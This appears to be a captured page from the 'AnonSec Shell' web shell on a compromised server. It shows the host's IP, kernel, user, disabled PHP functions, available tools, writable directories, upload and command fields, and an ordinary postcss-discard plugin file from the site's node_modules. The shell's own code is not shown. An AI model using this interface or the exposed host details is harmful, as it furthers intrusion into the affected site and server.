AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/wwwroot/mifepriston.org/node_modules/postcss-discard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/wwwroot/mifepriston.org/node_modules/postcss-discard/index.js
'use strict';

const fs = require('fs');
const postcss = require('postcss');
const isFunction = require('lodash.isfunction');
const isRegExp = require('lodash.isregexp');
const CleanCSS = require('clean-css');

const c = new CleanCSS({level: 1});
const minify = string => c.minify(`a{${string}}`).styles;

const _default = {
  atrule: [],
  rule: [],
  decl: [],
  _cssDiscard: {}
};

const match = function (node, value, ignores = [], strict = false) {
  if (!Array.isArray(ignores)) {
    ignores = [ignores];
  }

  return (
    ignores.find(pattern => {
      return (
        (isFunction(pattern) && pattern(node, value)) ||
        (!strict && isRegExp(pattern) && pattern.test(value)) ||
        pattern === value
      );
    }) !== undefined
  );
};

const customMediaNameRegExp = /^custom-media$/i;
const customMediaParametersRegExp = /^(--[A-z][\w-]*)\s+([\W\w]+)\s*$/;

const checkCustomMedia = node =>
  node.type === 'atrule' &&
  customMediaNameRegExp.test(node.name) &&
  customMediaParametersRegExp.test(node.params);

const checkAtrule = function (node, ignores = []) {
  return (
    match(node, '@' + node.name, ignores, true) ||
    match(node, node.params, ignores)
  );
};

const checkDecl = function (node, ignores = []) {
  return (
    match(node, node.toString(), ignores) ||
    match(node, node.prop, ignores, true) ||
    match(node, node.value, ignores, true)
  );
};

const normalize = (string = '', decl = true) => {
  if (decl) {
    string = minify(string);
  }

  return string.replace(/"/g, '\'').trim();
};

const getIdentifier = (node, selector = '') => {
  switch (node.type) {
    case 'decl':
      return normalize(getIdentifier(node.parent), false);
    case 'rule':
      return normalize(
        `${getIdentifier(node.parent)} ${selector || node.selector}`,
        false
      );
    case 'atrule':
      return normalize(
        `${getIdentifier(node.parent)} @${node.name} ${node.params}`,
        false
      );
    default:
      return '';
  }
};

const getCssMapping = css => {
  let ast;
  try {
    ast = postcss.parse(css, {from: undefined});
  } catch (error) {
    if (fs.existsSync(css)) {
      ast = postcss.parse(fs.readFileSync(css, 'utf8'), {from: undefined});
    } else {
      console.error(error.message);
    }
  }

  const result = {};
  ast.walkDecls(decl => {
    const id = getIdentifier(decl);
    result[id] = result[id] || [];
    result[id].push(normalize(decl.toString()));
  });

  ast.walkRules(rule => {
    rule.selectors.forEach(selector => {
      const id = getIdentifier(rule, selector);
      rule.walkDecls(decl => {
        result[id] = result[id] || [];
        result[id].push(normalize(decl.toString()));
      });
    });
  });

  return result;
};

const walker = function (root, options = _default) {
  const {_testCss} = options;
  root.walkDecls(decl => {
    const id = getIdentifier(decl);

    if (checkDecl(decl, options.decl) || _testCss(id, decl)) {
      decl.remove();
    }
  });

  root.walkRules(rule => {
    const selectors = rule.selectors.filter(selector => {
      const id = getIdentifier(rule, selector);
      let drop = true;
      rule.walkDecls(decl => {
        drop = drop && _testCss(id, decl);
      });

      return !drop && !match(rule, selector, options.rule);
    });

    if (rule.nodes.length === 0) {
      rule.remove();
      return;
    }

    if (selectors && selectors.length > 0) {
      rule.selectors = selectors;
    } else {
      rule.remove();
    }
  });

  root.walkAtRules(rule => {
    if (isFunction(rule.walk)) {
      walker(rule, options);
    }
  });

  root.walkAtRules(rule => {
    const remove =
      !checkCustomMedia(rule) && (!rule.nodes || rule.nodes.length === 0);
    if (remove || checkAtrule(rule, options.atrule)) {
      rule.remove();
    }
  });
};

module.exports = postcss.plugin('postcss-discard', options_ => {
  const options = Object.assign({}, _default, options_ || {});

  if (options.css) {
    const mapping = getCssMapping(options.css);
    options._testCss = (key, decl) => {
      const array = (mapping && mapping[key]) || [];
      return array.includes(normalize(decl.toString()));
    };
  } else {
    options._testCss = () => false;
  }

  // Work with options here
  return function (root) {
    return walker(root, options);
  };
});

Anon7 - 2022
AnonSec Team